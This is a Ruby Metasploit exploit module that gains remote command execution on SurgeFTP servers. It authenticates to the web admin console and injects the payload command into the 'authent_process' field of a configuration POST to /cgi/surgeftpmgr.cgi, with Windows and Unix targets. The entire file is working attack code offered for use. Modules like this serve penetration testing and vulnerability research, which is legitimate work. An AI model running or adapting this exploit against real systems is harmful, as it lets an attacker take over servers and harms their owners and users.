require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'SurgeFTP Remote Command Execution',
'Description' => %q{
This module exploits a flaw in the SurgeFTP server's web-based
administrative console to execute arbitary commands.
},
'Author' =>
[
'Spencer McIntyre',
],
'License' => MSF_LICENSE,
'References' =>
[
],
'Arch' => ARCH_CMD,
'Platform' => ['unix', 'win'],
'Payload' =>
{
'Space' => 1024,
'DisableNops' => true,
},
'Targets' =>
[
[ 'Windows', { 'modifier' => "%s" }, ],
[ 'Unix', { 'modifier' => "/bin/sh -c \"%s\"" }, ],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Dec 06 2012'))
register_options(
[
OptString.new('USERNAME', [ true, 'The username with admin role to authenticate as', 'admin' ]),
OptString.new('PASSWORD', [ true, 'The password for the specified username', 'password' ]),
], self.class)
end
def exploit
user_pass = Rex::Text.encode_base64(datastore['USERNAME'] + ":" + datastore['PASSWORD'])
command = target['modifier'] % payload.encoded
print_status("Invoking command")
res = send_request_cgi(
{
'uri' => '/cgi/surgeftpmgr.cgi',
'method' => 'POST',
'headers' =>
{
'Authorization' => "Basic #{user_pass}",
},
'vars_post' =>
{
'global_smtp' => "",
'global_restart' => "",
'global_style' => "",
'global_bind' => "",
'global_passive_ip' => "",
'global_passive_match' => "",
'global_logon_mode' => "",
'global_log_host' => "",
'global_login_error' => "",
'global_adminip' => "",
'global_total_users' => "",
'global_con_perip' => "",
'global_ssl' => "",
'global_ssl_cipher_list' => "",
'global_implicit_port' => "",
'log_level' => "",
'log_home' => "",
'global_watcher_program_ul' => "",
'global_watcher_program_dl' => "",
'authent_process' => command,
'authent_cmdopts' => "",
'authent_number' => "",
'authent_domain' => "",
'global_strip_user_domain' => "",
'global_noclass' => "",
'global_anon_hammer_over_time' => "",
'global_anon_hammer_max' => "",
'global_anon_hammer_block_time' => "",
'global_port' => "",
'global_mgr_port' => "",
'global_mgr_ssl_port' => "",
'cmd_global_save.x' => "36",
'cmd_global_save.y' => "8",
}
})
if not (res and res.code == 200)
print_error("Failed to execute command")
else
print_status("Done")
end
end
end
